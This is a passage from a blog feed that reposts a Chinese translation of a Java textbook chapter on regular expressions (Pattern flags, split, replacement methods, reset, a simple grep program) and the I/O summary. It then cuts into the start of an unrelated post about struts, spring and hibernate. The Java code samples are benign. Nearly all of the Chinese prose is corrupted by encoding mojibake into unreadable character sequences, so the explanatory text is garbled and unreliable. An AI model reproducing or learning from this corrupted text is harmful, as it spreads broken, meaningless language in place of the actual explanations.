¼å­—符(译者注åQšä¸æ˜¯æŒ‡è¡¨è¾¾å¼é‡Œçš?\\s"åQŒè€Œæ˜¯æŒ‡è¡¨è¾‘Ö¼é‡Œçš„½Iºæ ¼åQŒtabåQŒå›žè½¦ä¹‹¾c?。注释从#开始,一直到˜q™è¡Œ¾l“束。可以通过嵌入式的标志来启用Unix行模式ã€?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.DOTALL<BR>(?s)</SPAN> </TD> <TD>在这¿Uæ¨¡å¼ä¸‹åQŒè¡¨è¾‘Ö¼'.'可以匚w…ä»ÀL„å­—符åQŒåŒ…括表½CÞZ¸€è¡Œçš„¾l“束½W¦ã€‚默认情况下åQŒè¡¨è¾‘Ö¼'.'不匹配行的结束符ã€?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.MULTILINE<BR>(?m)</SPAN> </TD> <TD>在这¿Uæ¨¡å¼ä¸‹åQ?^'å’?$'分别匚w…ä¸€è¡Œçš„开始和¾l“束。此外,'^'仍然匚w…å­—符串的开始,'$'也匹配字½W¦ä¸²çš„结束。默认情况下åQŒè¿™ä¸¤ä¸ªè¡¨è¾¾å¼ä»…仅匹配字½W¦ä¸²çš„开始和¾l“束ã€?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.UNICODE_CASE<BR>(?u)</SPAN> </TD> <TD>在这个模式下åQŒå¦‚果你˜q˜å¯ç”¨äº†<span id="wmqeeuq" class=original_words>CASE_INSENSITIVE</SPAN>标志åQŒé‚£ä¹ˆå®ƒä¼šå¯¹Unicode字符˜q›è¡Œå¤§å°å†™ä¸æ˜Žæ„Ÿçš„匹配。默认情况下åQŒå¤§ž®å†™ä¸æ˜Žæ„Ÿçš„匚w…åªé€‚用于US-ASCII字符集ã€?</TD></TR> <TR> <TD><span id="wmqeeuq" class=original_words>Pattern.UNIX_LINES<BR>(?d)</SPAN> </TD> <TD>在这个模式下åQŒåªæœ?\n'才被认作一行的中止åQŒåƈ且与'.'åQ?^'åQŒä»¥å?$'˜q›è¡ŒåŒšw…ã€?</TD></TR></TBODY></TABLE> <P>在这些标志里面,<span id="wmqeeuq" class=original_words>Pattern.CASE_INSENSITIVE</SPAN>åQ?SPAN class=original_words>Pattern.MULTILINE</SPAN>åQŒä»¥å?SPAN class=original_words>Pattern.COMMENTS</SPAN>是最有用çš?其中<span id="wmqeeuq" class=original_words>Pattern.COMMENTS</SPAN>˜q˜èƒ½å¸®æˆ‘们把思èµ\理清楚,òq¶ä¸”/或者做文æ¡£)。注意,你可以用在表辑ּé‡Œæ’记号的方式来启用¾lå¤§å¤šæ•°çš„æ¨¡å¼ã€‚这些记号就在上面那张表的各个标志的下面。你希望模式从哪里开始启动,ž®±åœ¨å“ªé‡Œæ’记受÷€?/P> <P>可以ç”?OR" ('|')˜qç®—½W¦æŠŠ˜q™äº›æ ‡å¿—合ä‹É用:</P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:ReFlags.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> ReFlags { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { Pattern p = Pattern.compile(<FONT color=#004488>"^java"</FONT>, Pattern.CASE_INSENSITIVE | Pattern.MULTILINE); Matcher m = p.matcher( <FONT color=#004488>"java has regex\nJava has regex\n"</FONT> + <FONT color=#004488>"JAVA has pretty good regular expressions\n"</FONT> + <FONT color=#004488>"Regular expressions are in Java"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"java"</FONT>, <FONT color=#004488>"Java"</FONT>, <FONT color=#004488>"JAVA"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>˜q™æ ·åˆ›å¾å‡ºæ¥çš„æ­£åˆ™è¡¨è¾‘Ö¼ž®Þpƒ½åŒšw…ä»?java"åQ?Java"åQ?JAVA"...开头的字符串了。此外,如果字符串分好几行,那它˜q˜ä¼šå¯Òޝä¸€è¡ŒåšåŒšw…(匚w…å§‹äºŽå­—符序列的开始,¾lˆäºŽå­—符序列当中的行¾l“束½W?。注意,<span id="wmqeeuq" class=original_words>group( )</SPAN>æ–ÒŽ³•仅返回匹配的部分ã€?/P> <H3 id=header64>split( )</H3> <P>所谓分割是指将以正则表辑ּä¸ºç•ŒåQŒå°†å­—符串分割成<span id="wmqeeuq" class=original_words>String</SPAN>数组ã€?/P> <BLOCKQUOTE><PRE>String[] split(CharSequence charseq) String[] split(CharSequence charseq, <FONT color=#0000ff>int</FONT> limit)</PRE></BLOCKQUOTE> <P>˜q™æ˜¯ä¸€¿Uæ—¢å¿«åˆæ–¹ä¾¿åœ°å°†æ–‡æœ¬æ ÒŽ®ä¸€äº›å¸¸è§çš„边界标志分割开来的æ–ÒŽ³•ã€?/P> <TABLE class=code> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:SplitDemo.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> SplitDemo { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { String input = <FONT color=#004488>"This!!unusual use!!of exclamation!!points"</FONT>; System.out.println(Arrays.asList( Pattern.compile(<FONT color=#004488>"!!"</FONT>).split(input))); <FONT color=#009900>// Only do the first three:</FONT> System.out.println(Arrays.asList( Pattern.compile(<FONT color=#004488>"!!"</FONT>).split(input, 3))); System.out.println(Arrays.asList( <FONT color=#004488>"Aha! String has a split() built in!"</FONT>.split(<FONT color=#004488>" "</FONT>))); monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"[This, unusual use, of exclamation, points]"</FONT>, <FONT color=#004488>"[This, unusual use, of exclamation!!points]"</FONT>, <FONT color=#004488>"[Aha!, String, has, a, split(), built, in!]"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>½W¬äºŒä¸?SPAN class=original_words>split( )</SPAN>会限定分割的‹Æ¡æ•°ã€?/P> <P>正则表达式是如此重要åQŒä»¥è‡³äºŽæœ‰äº›åŠŸèƒ½è¢«åŠ ˜q›äº†<span id="wmqeeuq" class=original_words>String</SPAN>¾c»ï¼Œå…¶ä¸­åŒ…括<span id="wmqeeuq" class=original_words>split( )</SPAN>(已经看到äº?åQ?SPAN class=original_words>matches( )</SPAN>åQ?SPAN class=original_words>replaceFirst( )</SPAN>以及<span id="wmqeeuq" class=original_words>replaceAll( )</SPAN>。这些方法的功能å?SPAN class=original_words>Pattern</SPAN>å’?SPAN class=original_words>Matcher</SPAN>的相同ã€?</P> <H3 id=header65>替换操作</H3> <P>正则表达式在替换文本斚w¢ç‰¹åˆ«åœ¨è¡Œã€‚下面就是一些方法:</P> <P><span id="wmqeeuq" class=original_words>replaceFirst(String replacement)</SPAN>ž®†å­—½W¦ä¸²é‡Œï¼Œ½W¬ä¸€ä¸ªä¸Žæ¨¡å¼ç›¸åŒ¹é…çš„子串替换æˆ?SPAN class=original_words>replacement</SPAN>ã€?</P> <P><span id="wmqeeuq" class=original_words>replaceAll(String replacement)</SPAN>åQŒå°†è¾“入字符串里所有与模式相匹配的子串全部替换æˆ?SPAN class=original_words>replacement</SPAN>ã€?/P> <P><span id="wmqeeuq" class=original_words>appendReplacement(StringBuffer sbuf, String replacement)</SPAN>å¯?SPAN class=original_words>sbuf</SPAN>˜q›è¡Œé€æ¬¡æ›¿æ¢åQŒè€Œä¸æ˜¯åƒ<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>æˆ?SPAN class=original_words>replaceAll( )</SPAN>那样åQŒåªæ›¿æ¢½W¬ä¸€ä¸ªæˆ–å…¨éƒ¨å­ä¸²ã€‚è¿™æ˜¯ä¸ªéžå¸¸é‡è¦çš„æ–¹æ³•ï¼Œå› äØ“å®ƒå¯ä»¥è°ƒç”¨æ–¹æ³•æ¥ç”Ÿæˆ<span id="wmqeeuq" class=original_words>replacement</SPAN>(<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>å’?SPAN class=original_words>replaceAll( )</SPAN>只允许用固定的字½W¦ä¸²æ¥å……å½?SPAN class=original_words>replacement</SPAN>)。有了这个方法,你就可以¾~–程区分groupåQŒä»Žè€Œå®žçŽ°æ›´å¼ºå¤§çš„æ›¿æ¢åŠŸèƒ½ã€?/P> <P>调用å®?SPAN class=original_words>appendReplacement( )</SPAN>之后åQŒäؓ了把剩余的字½W¦ä¸²æ‹¯‚´å›žåŽ»åQŒå¿…™å»è°ƒç”?SPAN class=original_words>appendTail(StringBuffer sbuf, String replacement)</SPAN>ã€?</P> <P>下面我们来演½CÞZ¸€ä¸‹æ€Žæ ·ä½¿ç”¨˜q™äº›æ›¿æ¢æ–ÒŽ³•。说明一下,˜q™æ®µ½E‹åºæ‰€å¤„理的字½W¦ä¸²æ˜¯å®ƒè‡ªå·±å¼€å¤´éƒ¨åˆ†çš„æ³¨é‡ŠåQŒæ˜¯ç”¨æ­£åˆ™è¡¨è¾‘Ö¼æå–出来òq¶åŠ ä»¥å¤„ç†ä¹‹åŽå†ä¼ ç»™æ›¿æ¢æ–ÒŽ³•çš„ã€?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:TheReplacements.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> java.io.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.util.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#009900>/*! Here's a block of text to use as input to the regular expression matcher. Note that we'll first extract the block of text by looking for the special delimiters, then process the extracted block. !*/</FONT> <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> TheReplacements { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception { String s = TextFile.read(<FONT color=#004488>"TheReplacements.java"</FONT>); <FONT color=#009900>// Match the specially-commented block of text above:</FONT> Matcher mInput = Pattern.compile(<FONT color=#004488>"</FONT><FONT color=#004488>/\\*!(.*)!\\*</FONT><FONT color=#004488>/"</FONT>, Pattern.DOTALL) .matcher(s); <FONT color=#0000ff>if</FONT>(mInput.find()) s = mInput.group(1); <FONT color=#009900>// Captured by parentheses</FONT> <FONT color=#009900>// Replace two or more spaces with a single space:</FONT> s = s.replaceAll(<FONT color=#004488>" {2,}"</FONT>, <FONT color=#004488>" "</FONT>); <FONT color=#009900>// Replace one or more spaces at the beginning of each</FONT> <FONT color=#009900>// line with no spaces. Must enable MULTILINE mode:</FONT> s = s.replaceAll(<FONT color=#004488>"(?m)^ +"</FONT>, <FONT color=#004488>""</FONT>); System.out.println(s); s = s.replaceFirst(<FONT color=#004488>"[aeiou]"</FONT>, <FONT color=#004488>"(VOWEL1)"</FONT>); StringBuffer sbuf = <FONT color=#0000ff>new</FONT> StringBuffer(); Pattern p = Pattern.compile(<FONT color=#004488>"[aeiou]"</FONT>); Matcher m = p.matcher(s); <FONT color=#009900>// Process the find information as you</FONT> <FONT color=#009900>// perform the replacements:</FONT> <FONT color=#0000ff>while</FONT>(m.find()) m.appendReplacement(sbuf, m.group().toUpperCase()); <FONT color=#009900>// Put in the remainder of the text:</FONT> m.appendTail(sbuf); System.out.println(sbuf); monitor.expect(<FONT color=#0000ff>new</FONT> String[]{ <FONT color=#004488>"Here's a block of text to use as input to"</FONT>, <FONT color=#004488>"the regular expression matcher. Note that we'll"</FONT>, <FONT color=#004488>"first extract the block of text by looking for"</FONT>, <FONT color=#004488>"the special delimiters, then process the"</FONT>, <FONT color=#004488>"extracted block. "</FONT>, <FONT color=#004488>"H(VOWEL1)rE's A blOck Of tExt tO UsE As InpUt tO"</FONT>, <FONT color=#004488>"thE rEgUlAr ExprEssIOn mAtchEr. NOtE thAt wE'll"</FONT>, <FONT color=#004488>"fIrst ExtrAct thE blOck Of tExt by lOOkIng fOr"</FONT>, <FONT color=#004488>"thE spEcIAl dElImItErs, thEn prOcEss thE"</FONT>, <FONT color=#004488>"ExtrActEd blOck. "</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>我们用前面介¾lçš„<span id="wmqeeuq" class=original_words>TextFile.read( )</SPAN>æ–ÒŽ³•来打开和读取文件ã€?SPAN class=original_words>mInput</SPAN>的功能是匚w…'<span id="wmqeeuq" class=original_words>/*!</SPAN>' å’?'<span id="wmqeeuq" class=original_words>!*/</SPAN>' 之间的文æœ?注意一下分¾l„用的括å?。接下来åQŒæˆ‘们将所有两个以上的˜qžç®‹½Iºæ ¼å…¨éƒ½æ›¿æ¢æˆä¸€ä¸ªï¼Œòq¶ä¸”ž®†å„行开头的½Iºæ ¼å…¨éƒ½åŽÀLމ(ä¸ÞZº†è®©è¿™ä¸ªæ­£åˆ™è¡¨è¾‘Ö¼èƒ½å¯¹æ‰€æœ‰çš„行,而不仅仅是第一行è“v作用åQŒå¿…™åÕd¯ç”¨å¤šè¡Œæ¨¡å¼?。这两个操作都用äº?SPAN class=original_words>String</SPAN>çš?SPAN class=original_words>replaceAll( )</SPAN>(˜q™é‡Œç”¨å®ƒæ›´æ–¹ä¾?。注意,ç”׃ºŽæ¯ä¸ªæ›¿æ¢åªåšä¸€‹Æ¡ï¼Œå› æ­¤é™¤äº†é¢„ç¼–è¯?SPAN class=original_words>Pattern</SPAN>之外åQŒç¨‹åºæ²¡æœ‰é¢å¤–的开销ã€?/P> <P><span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>只替换第一个子丌Ӏ‚此外,<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>å’?SPAN class=original_words>replaceAll( )</SPAN>只能用常é‡?literal)æ¥æ›¿æ¢ï¼Œæ‰€ä»¥å¦‚æžœä½ æ¯æ¬¡æ›¿æ¢çš„æ—¶å€™è¿˜è¦è¿›è¡Œä¸€äº›æ“ä½œçš„è¯ï¼Œå®ƒä»¬æ˜¯æ— èƒ½äØ“åŠ›çš„ã€‚ç¢°åˆ°è¿™¿Uæƒ…况,你得ç”?SPAN class=original_words>appendReplacement( )</SPAN>åQŒå®ƒèƒ½è®©ä½ åœ¨˜q›è¡Œæ›¿æ¢çš„æ—¶å€™æƒ³å†™å¤šž®‘代码就写多ž®‘。在上面那段½E‹åºé‡Œï¼Œåˆ›å¾<span id="wmqeeuq" class=original_words>sbuf</SPAN>的过½E‹å°±æ˜¯é€‰group做处理,也就是用正则表达式把元音字母扑ևºæ¥ï¼Œç„¶åŽæ¢æˆå¤§å†™çš„过½E‹ã€‚通常你得在完成全部的替换之后才调ç”?SPAN class=original_words>appendTail( )</SPAN>åQŒä½†æ˜¯å¦‚果要模仿<span id="wmqeeuq" class=original_words>replaceFirst( )</SPAN>(æˆ?replace n")的效果,你也可以只替换一‹Æ¡å°±è°ƒç”¨<span id="wmqeeuq" class=original_words>appendTail( )</SPAN>。它会把剩下的东西全都放˜q?SPAN class=original_words>sbuf</SPAN>ã€?/P> <P>你还可以åœ?SPAN class=original_words>appendReplacement( )</SPAN>çš?SPAN class=original_words>replacement</SPAN>参数里用"$g"引用已捕èŽïLš„groupåQŒå…¶ä¸?g' 表示group的号码。不˜q‡è¿™æ˜¯äؓ一些比较简单的操作准备的,因而其效果无法与上˜q°ç¨‹åºç›¸æ¯”ã€?/P> <H3 id=header66>reset( )</H3> <P>此外åQŒè¿˜å¯ä»¥ç”?SPAN class=original_words>reset( )</SPAN>æ–ÒŽ³•¾l™çŽ°æœ‰çš„<span id="wmqeeuq" class=original_words>Matcher</SPAN>对象配上个新çš?SPAN class=original_words>CharSequence</SPAN>ã€?/P> <TABLE class=code> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:Resetting.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> java.io.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> Resetting { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception { Matcher m = Pattern.compile(<FONT color=#004488>"[frb][aiu][gx]"</FONT>) .matcher(<FONT color=#004488>"fix the rug with bags"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); m.reset(<FONT color=#004488>"fix the rig with rags"</FONT>); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(m.group()); monitor.expect(<FONT color=#0000ff>new</FONT> String[]{ <FONT color=#004488>"fix"</FONT>, <FONT color=#004488>"rug"</FONT>, <FONT color=#004488>"bag"</FONT>, <FONT color=#004488>"fix"</FONT>, <FONT color=#004488>"rig"</FONT>, <FONT color=#004488>"rag"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>如果不给参数åQ?SPAN class=original_words>reset( )</SPAN>会把<span id="wmqeeuq" class=original_words>Matcher</SPAN>讑ֈ°å½“前字符串的开始处ã€?/P> <H3 id=header67>正则表达式与Java I/O</H3> <P>åˆ°ç›®å‰äØ“æ­¢ï¼Œä½ çœ‹åˆ°çš„éƒ½æ˜¯ç”¨æ­£åˆ™è¡¨è¾‘Ö¼å¤„理静态字½W¦ä¸²çš„例子。下面我们来演示一下怎样用正则表辑ּæ‰«ææ–‡äšgòq¶ä¸”扑ևºåŒšw…çš„å­—½W¦ä¸²ã€‚受Unixçš„grep启发åQŒæˆ‘写了ä¸?SPAN class=original_words>JGrep.java</SPAN>åQŒå®ƒéœ€è¦ä¸¤ä¸ªå‚æ•ŽÍ¼šæ–‡äšg名,以及匚w…å­—符串用的正则表辑ּã€‚它会把匚w…˜q™ä¸ªæ­£åˆ™è¡¨è¾¾å¼é‚£éƒ¨åˆ†å†…容及其所属行的行åäh‰“印出来ã€?/P> <TABLE class=code> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:JGrep.java</FONT> <FONT color=#009900>// A very simple version of the "grep" program.</FONT> <FONT color=#009900>// {Args: JGrep.java "\\b[Ssct]\\w+"}</FONT> <FONT color=#0000ff>import</FONT> java.io.*; <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> JGrep { <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) <FONT color=#0000ff>throws</FONT> Exception { <FONT color=#0000ff>if</FONT>(args.length < 2) { System.out.println(<FONT color=#004488>"Usage: java JGrep file regex"</FONT>); System.exit(0); } Pattern p = Pattern.compile(args[1]); <FONT color=#009900>// Iterate through the lines of the input file:</FONT> ListIterator it = <FONT color=#0000ff>new</FONT> TextFile(args[0]).listIterator(); <FONT color=#0000ff>while</FONT>(it.hasNext()) { Matcher m = p.matcher((String)it.next()); <FONT color=#0000ff>while</FONT>(m.find()) System.out.println(it.nextIndex() + <FONT color=#004488>": "</FONT> + m.group() + <FONT color=#004488>": "</FONT> + m.start()); } } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>æ–‡äšg是用<span id="wmqeeuq" class=original_words>TextFile</SPAN>打开çš?本章的前半部分讲çš?。由äº?SPAN class=original_words>TextFile</SPAN>会把文äšg的各行放åœ?SPAN class=original_words>ArrayList</SPAN>里面åQŒè€Œæˆ‘们又提取了一ä¸?SPAN class=original_words>ListIterator</SPAN>åQŒå› æ­¤æˆ‘们可以在文äšg的各行当中自ç”Þq§»åŠ?既能向前也可以向å?ã€?</P> <P>每行都会有一ä¸?SPAN class=original_words>Matcher</SPAN>åQŒç„¶åŽç”¨<span id="wmqeeuq" class=original_words>find( )</SPAN>扫描。注意,我们ç”?SPAN class=original_words>ListIterator.nextIndex( )</SPAN>跟踪行号ã€?</P> <P>‹¹‹è¯•参数æ˜?SPAN class=original_words>JGrep.java</SPAN>和以<span id="wmqeeuq" class=original_words>[Ssct]</SPAN>开头的单词ã€?/P> <H3 id=header68>˜q˜éœ€è¦StringTokenizerå?</H3> <P>看到正则表达式能提供˜q™ä¹ˆå¼ºå¤§çš„功能,你可能会怀疑,是不是还需要原先的<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>。JDK 1.4以前åQŒè¦æƒ›_ˆ†å‰²å­—½W¦ä¸²åQŒåªæœ‰ç”¨<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>。但现在åQŒæœ‰äº†æ­£åˆ™è¡¨è¾‘Ö¼ä¹‹åŽåQŒå®ƒž®Þpƒ½åšå¾—更干净利烦了ã€?/P> <TABLE class=sourcecode> <TBODY> <TR> <TD><PRE><FONT color=#009900>//: c12:ReplacingStringTokenizer.java</FONT> <FONT color=#0000ff>import</FONT> java.util.regex.*; <FONT color=#0000ff>import</FONT> com.bruceeckel.simpletest.*; <FONT color=#0000ff>import</FONT> java.util.*; <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>class</FONT> ReplacingStringTokenizer { <FONT color=#0000ff>private</FONT> <FONT color=#0000ff>static</FONT> Test monitor = <FONT color=#0000ff>new</FONT> Test(); <FONT color=#0000ff>public</FONT> <FONT color=#0000ff>static</FONT> <FONT color=#0000ff>void</FONT> main(String[] args) { String input = <FONT color=#004488>"But I'm not dead yet! I feel happy!"</FONT>; StringTokenizer stoke = <FONT color=#0000ff>new</FONT> StringTokenizer(input); <FONT color=#0000ff>while</FONT>(stoke.hasMoreElements()) System.out.println(stoke.nextToken()); System.out.println(Arrays.asList(input.split(<FONT color=#004488>" "</FONT>))); monitor.expect(<FONT color=#0000ff>new</FONT> String[] { <FONT color=#004488>"But"</FONT>, <FONT color=#004488>"I'm"</FONT>, <FONT color=#004488>"not"</FONT>, <FONT color=#004488>"dead"</FONT>, <FONT color=#004488>"yet!"</FONT>, <FONT color=#004488>"I"</FONT>, <FONT color=#004488>"feel"</FONT>, <FONT color=#004488>"happy!"</FONT>, <FONT color=#004488>"[But, I'm, not, dead, yet!, I, feel, happy!]"</FONT> }); } } <FONT color=#009900>///:~</FONT></PRE></TD></TR></TBODY></TABLE> <P>有了正则表达式,你就能用更复杂的模式ž®†å­—½W¦ä¸²åˆ†å‰²å¼€æ¥â€”—要是交¾l?SPAN class=original_words>StringTokenizer</SPAN>的话åQŒäº‹æƒ…会éºÈƒ¦å¾—多。我可以很有把握地说åQŒæ­£åˆ™è¡¨è¾‘Ö¼å¯ä»¥å–代<span id="wmqeeuq" class=original_words>StringTokenizer</SPAN>ã€?</P> <P>要想˜q›ä¸€æ­¥å­¦ä¹ æ­£åˆ™è¡¨è¾‘Ö¼åQŒå¾è®®ä½ çœ?CITE><span id="wmqeeuq" class=original_words>Mastering Regular Expression, 2nd Edition</SPAN></CITE>åQŒä½œè€…Jeffrey E. F. Friedl (O’Reilly, 2002)ã€?/P> <H2 id=header69>æ€È»“</H2> <P>Javaçš„I/O‹¹ç±»åº“应该能满èƒö你的基本需求:你可以用它来è¯Õd†™æŽ§åˆ¶åŽÍ¼Œæ–‡äšgåQŒå†…存,甚至是Internet。你˜q˜å¯ä»¥åˆ©ç”¨ç‘ô承来创徏新的输入和输出类型。你甚至可以利用Java会自动调用对象的<span id="wmqeeuq" class=original_words>toString( )</SPAN>æ–ÒŽ³•的特ç‚?Java仅有çš?自动¾cÕdž‹è½¬æ¢")åQŒé€šè¿‡é‡æ–°å®šä¹‰˜q™ä¸ªæ–ÒŽ³•åQŒæ¥å¯¹è¦ä¼ ç»™‹¹çš„对象做一个简单的扩展ã€?/P> <P>但是Javaçš„I/O‹¹ç±»åº“及其文档还是留下了一些缺憾。比方说你打开一个文件往里面写东西,但是˜q™ä¸ªæ–‡äšg已经有了åQŒè¿™ä¹ˆåšä¼šæŠŠåŽŸå…ˆçš„å†…å®¹ç»™è¦†ç›–äº?。这时要是能有一个异常就好了——有些编½E‹è¯­­a€èƒ½è®©ä½ è§„定只能往新徏的文仉™‡Œè¾“出。看来Java是要你用<span id="wmqeeuq" class=original_words>File</SPAN>å¯¹è±¡æ¥åˆ¤æ–­æ–‡ä»¶æ˜¯å¦å­˜åœ¨ï¼Œå› äØ“å¦‚æžœä½ ç”¨<span id="wmqeeuq" class=original_words>FileOutputStream</SPAN>æˆ?SPAN class=original_words>FileWriter</SPAN>的话åQŒæ–‡ä»¶å°±ä¼šè¢«è¦†ç›–了ã€?/P> <P>我对I/O‹¹ç±»åº“的评ä­h是比较矛盄¡š„åQ›å®ƒ¼‹®å®žèƒ½å¹²å¾ˆå¤šäº‹æƒ…åQŒè€Œä¸”做到了跨òq›_°ã€‚但是如果你不懂decorator模式åQŒå°±ä¼šè§‰å¾—è¿™¿Uè®¾è®¡å¤ªéš„¡†è§£äº†åQŒæ‰€ä»¥æ— è®ºæ˜¯å¯¹è€å¸ˆ˜q˜æ˜¯å­¦ç”ŸåQŒéƒ½å¾—多èŠÞq²¾åŠ›ã€‚æ­¤å¤–è¿™ä¸ªç±»åº“ä¹Ÿä¸å®Œæ•ß_¼Œå¦åˆ™æˆ‘也用不着åŽÕd†™<span id="wmqeeuq" class=original_words>TextFile</SPAN>了。此外它没有提供格式化输出的功能åQŒè€Œå…¶ä»–语­a€éƒ½å·²¾læä¾›äº†˜q™ç§åŠŸèƒ½ã€?/P> <P>但是åQŒä¸€æ—¦ä½ çœŸæ­£ç†è§£äº†decorator模式åQŒåƈ且能开始灵‹z»è¿ç”¨è¿™ä¸ªç±»åº“的时候,你就能感受到˜q™ç§è®¾è®¡çš„好处了。这时多写几行代码就½Ž—不了什么了ã€?</P> <P>如果你觉得不解æÍ(本章只是做个介绍åQŒæ²¡æƒŒ™¦é¢é¢ä¿±åˆ°)åQŒå¯ä»¥åŽ»çœ‹Elliotte Rusty Harold 写的<CITE>Java I/O</CITE> (O’Reilly, 1999)。这本书讲得更深ã€?/P><img src ="http://www.aygfsteel.com/frankboy/aggbug/25637.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/frankboy/" target="_blank">frankboy</a> 2005-12-27 23:18 <a href="http://www.aygfsteel.com/frankboy/archive/2005/12/27/25637.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>struts+spring+hibernatehttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25636.htmlfrankboyfrankboyTue, 27 Dec 2005 15:15:00 GMThttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25636.htmlhttp://www.aygfsteel.com/frankboy/comments/25636.htmlhttp://www.aygfsteel.com/frankboy/archive/2005/12/27/25636.html#Feedback0http://www.aygfsteel.com/frankboy/comments/commentRss/25636.htmlhttp://www.aygfsteel.com/frankboy/services/trackbacks/25636.html使用struts+spring+hibernate¾l„装你的web应用架构       其实åQŒå°±½Ž—用Java建造一个不是很烦琐的web应用åQŒä¹Ÿä¸æ˜¯ä»¶è½»æ„¡š„事情ã€?在构架的一开始就有很多事情要考虑。从高处看,摆在开发者面前有很多问题åQšè¦è€ƒè™‘是怎样建立用户接口åQŸåœ¨å“ªé‡Œå¤„理业务逻辑åQ?怎样持久化的数据。而这三层构架中,每一层都有他们要仔细考虑的ã€?各个层该使用什么技术? 怎样的设计能松散耦合˜q˜èƒ½ç‰|´»æ”¹å˜åQŸæ€Žæ ·æ›¿æ¢æŸä¸ªå±‚而不影响整体构架åQŸåº”用程序如何做各种¾U§åˆ«çš„业务处理(比如事务处理åQ‰ï¼Ÿ

